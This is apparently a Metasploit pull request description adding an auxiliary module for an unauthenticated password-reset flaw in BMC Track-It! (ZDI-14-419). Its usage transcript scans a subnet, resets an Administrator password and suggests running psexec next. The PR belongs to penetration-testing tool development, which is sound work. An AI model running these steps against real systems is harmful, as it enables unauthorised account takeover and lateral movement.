Add updated BMC TrackIt! aux module

Hi,

This pull request adds an auxiliary module that exploits: http://www.zerodayinitiative.com/advisories/ZDI-14-419/

The vulnerability allows an unauthenticated user to change a local or domain user's password, such as Administrator, depending on the configuration of the password reset utility.

You may find a vulnerable installer here: http://volatileminds.net/Track-It!11.3.exe

Usage:

```
bperry@w00den-pickle:~/tmp/metasploit-framework$ ./msfconsole
[*] Starting the Metasploit Framework console...-
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.10.1-dev [core:4.10.1.pre.dev api:1.0.0]]
+ -- --=[ 1377 exploits - 773 auxiliary - 222 post        ]
+ -- --=[ 342 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/scanner/http/bmc_trackit_passwd_reset 
msf auxiliary(bmc_trackit_passwd_reset) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(bmc_trackit_passwd_reset) > set THREADS 10
THREADS => 10
msf auxiliary(bmc_trackit_passwd_reset) > run

[*] Scanned  27 of 256 hosts (10% complete)
[*] Scanned  52 of 256 hosts (20% complete)
[*] Scanned  77 of 256 hosts (30% complete)
[+] 192.168.1.99:80: Please run the psexec module using WIN-R85ELSBASBS\Administrator:kXbtUbITXp!1
[*] Scanned 109 of 256 hosts (42% complete)
[*] Scanned 129 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 180 of 256 hosts (70% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 231 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(bmc_trackit_passwd_reset) >
```

This module overrides the modules from the previous PR: https://github.com/rapid7/metasploit-framework/pull/4359